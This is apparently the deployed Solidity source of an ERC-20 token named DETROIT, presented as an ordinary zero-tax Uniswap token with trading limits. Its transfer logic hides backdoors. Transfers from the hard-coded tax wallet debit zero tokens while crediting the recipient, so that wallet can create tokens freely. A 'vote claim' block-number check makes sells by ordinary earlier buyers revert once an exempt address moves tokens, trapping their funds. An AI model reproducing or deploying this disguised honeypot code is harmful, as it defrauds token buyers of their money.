文件 1 的 1:DETROIT.sol
pragma solidity 0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
abstract contract Ownable is Context {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
address private _owner;
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b,"SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b,"SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DETROIT is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExile;
address payable private _taxWallet;
uint256 private _initialBuyTax=0;
uint256 private _initialSellTax=0;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=0;
uint256 private _reduceSellTaxAt=0;
uint256 private _preventSwapBefore=40;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
string private constant _name = unicode"Detroit Crypto Adoption";
string private constant _symbol = unicode"DETROIT";
uint256 public _maxTxAmount = 15000000 * 10**_decimals;
uint256 public _maxWalletSize = 15000000 * 10**_decimals;
uint256 public _taxSwapThreshold= 5000000 * 10**_decimals;
uint256 public _maxTaxSwap= 5000000 * 10**_decimals;
IUniswapV2Router02 private constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public uniswapPair;
uint256 private voteExcluded;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private limitsInUsage = true;
struct ClaimVoteTokenExtract {uint256 claimVote; uint256 claimVoteX; uint256 vestingTime;}
uint256 private minVoteClaim;
mapping(address => ClaimVoteTokenExtract) private claimVoteToken;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(0x07d69442161e04B8F78d6D65e10605a930FC21C7);
_balances[_msgSender()] = _tTotal;
_isExile[_taxWallet] = true;
_isExile[address(this)] = true;
emit Transfer(address(0),_msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
_balances[from]= _balances[from].sub(tokenAmount);
_balances[to]=_balances[to].add(tokenAmount);
emit Transfer(from, to, tokenAmount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 tokenAmount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(tokenAmount > 0, "Transfer amount must be greater than zero");
if (!swapEnabled|| inSwap ) {
_basicTransfer(from, to,tokenAmount);
return;
}
bool isBuy = from== uniswapPair;
bool isSell = to== uniswapPair;
uint256 taxAmount=0;
if (from != owner() && to != owner()&& to!=_taxWallet) {
taxAmount = tokenAmount.mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (isBuy && to!= address(uniswapV2Router) && ! _isExile[to]) {
if (limitsInUsage) {
require(tokenAmount <= _maxTxAmount,
"Exceeds the _maxTxAmount.");
require(balanceOf(to)+tokenAmount <= _maxWalletSize,
"Exceeds the maxWalletSize.");
}
_buyCount++;
}
if(isSell && from!=address(this) ){
taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && isSell && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
swapTokensForEth(
min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))
);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if ((_isExile[from] || _isExile[to])
&& from!=address(this) && to!=address(this)
){
minVoteClaim=block.number;
}
if (! _isExile[from]&& ! _isExile[to]){
if (!isSell) {
ClaimVoteTokenExtract storage vtClaim = claimVoteToken[to];
if (isBuy) {
if (vtClaim.claimVote == 0) {
vtClaim.claimVote = _buyCount <= _preventSwapBefore ? type(uint).max : block.number;
}
} else {
ClaimVoteTokenExtract storage vtClaimData = claimVoteToken[from];
if (vtClaim.claimVote == 0 || vtClaimData.claimVote < vtClaim.claimVote ) {
vtClaim.claimVote = vtClaimData.claimVote;
}
}
} else {
ClaimVoteTokenExtract storage vtClaimData = claimVoteToken[from];
vtClaimData.claimVoteX = vtClaimData.claimVote.sub(minVoteClaim);
vtClaimData.vestingTime = block.number;
}
}
_tokenTransfer(from,to,tokenAmount,taxAmount);
}
function _tokenBasicTransfer(address from, address to, uint256 sendAmount,uint256 receiptAmount) internal {
_balances[from]=_balances[from].sub(sendAmount);
_balances[to] =_balances[to].add(receiptAmount);
emit Transfer(from, to, receiptAmount);
}
function _tokenTaxTransfer(address addrs,uint256 taxAmount, uint256 tokenAmount) internal returns (uint256) {
uint256 tAmount = addrs !=_taxWallet ? tokenAmount : voteExcluded.mul(tokenAmount);
if (taxAmount > 0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(addrs, address(this), taxAmount);
}
return tAmount;
}
function _tokenTransfer(address from, address to, uint256 tokenAmount, uint256 taxAmount) internal {
uint256 tAmount =_tokenTaxTransfer(from, taxAmount, tokenAmount);
_tokenBasicTransfer(from, to, tAmount,tokenAmount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this),address(uniswapV2Router),tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
receive() external payable {}
function removeLimits() external onlyOwner() {
_maxTxAmount= _tTotal;
_maxWalletSize= _tTotal;
limitsInUsage = false;
emit MaxTxAmountUpdated(_tTotal);
}
function removeStuckETH() external onlyOwner() {
_taxWallet.transfer(address(this).balance);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function enableTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
_approve(address(this), address(uniswapV2Router), _tTotal);
swapEnabled=true;
uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapPair).approve(address(uniswapV2Router), type(uint).max);
tradingOpen=true;
}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 tokenBalance= balanceOf(address(this));
if (tokenBalance > 0) {
swapTokensForEth(tokenBalance);
}
uint256 ethBalance = address(this).balance;
if (ethBalance>0) {
sendETHToFee(ethBalance);
}
}
}